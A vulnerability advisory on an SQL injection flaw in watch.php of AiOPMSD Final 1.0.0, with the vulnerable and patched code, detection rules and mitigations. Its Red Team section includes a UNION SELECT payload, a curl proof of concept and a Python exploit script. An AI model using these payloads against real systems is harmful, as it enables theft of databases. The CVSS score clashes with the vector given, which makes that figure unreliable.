CVE-2018-25420

Executive Summary

CVE-2018-25420 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an unpatched application. The flaw resides in the id parameter of watch.php, allowing unauthenticated attackers to execute arbitrary SQL queries via crafted GET requests. This enables extraction of sensitive data such as usernames, database names, and version details. With a CVSS score of 8.2, the vulnerability poses a high risk to confidentiality, integrity, and availability. No official patch or open-source fix is available, making mitigation reliant on network controls and application-level defenses.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required and the potential for full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the watch.php script, which processes the id parameter without proper sanitization or parameterized queries. An attacker can inject SQL commands by appending malicious payloads to the id parameter in a GET request. For example:

GET /watch.php?id=1 UNION SELECT username,password FROM users--

This allows the attacker to bypass authentication, extract credentials, enumerate database structure, and potentially execute administrative operations. The application uses a vulnerable version of AiOPMSD (Final 1.0.0) with no known patch.

Vulnerable vs. Patched Code

Vulnerable Code (watch.php):

$id = $_GET['id'];
$query = "SELECT * FROM items WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM items WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

The vulnerable code directly concatenates user input into the SQL query, while the patched version uses parameterized queries to prevent injection.

Exploitation & Lab Setup

Red Team

Exploit Proof-of-Concept:

curl "http://target.com/watch.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"

Automated Exploit Script:

import requests

target = "http://target.com/watch.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
response = requests.get(target, params={"id": payload})
print(response.text)

Lab Setup:

1. Deploy AiOPMSD Final 1.0.0 on a local server (e.g., XAMPP).
2. Ensure the database contains sample data.
3. Use Burp Suite or curl to send crafted requests.

Blue Team

Detection Steps:

• Monitor web server logs for suspicious GET requests to watch.php with unusual id parameters (e.g., containing UNION, SELECT, --).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Honeypot Setup:

• Deploy a decoy AiOPMSD instance and log all requests to watch.php.
• Analyze logs for injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /watch.php?id= containing SQL keywords (UNION, SELECT, OR, AND, --, #).
  • Unusual response sizes or error messages from watch.php.
• File IOCs:
  • Modified watch.php file (if attacker uploads webshell).
  • Suspicious entries in web server access logs.
• Database IOCs:
  • Unexpected queries in database logs.
  • New user accounts or altered data.

Detection Engineering

YARA Rule

rule CVE_2018_25420_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting AiOPMSD watch.php"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "watch.php?id=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt on AiOPMSD watch.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts via the id parameter in watch.php
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "watch.php?id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25420 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/watch.php?id="; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Apply input validation and parameterized queries to watch.php.
  • Use a WAF to block SQL injection patterns.
  • Restrict network access to the application (e.g., VPN, IP whitelisting).
• Long-term Actions:
  • Migrate to a supported application or develop a custom patch.
  • Conduct regular security audits and penetration testing.
  • Monitor for any signs of compromise.

Valters IT
Securing Digital Frontiers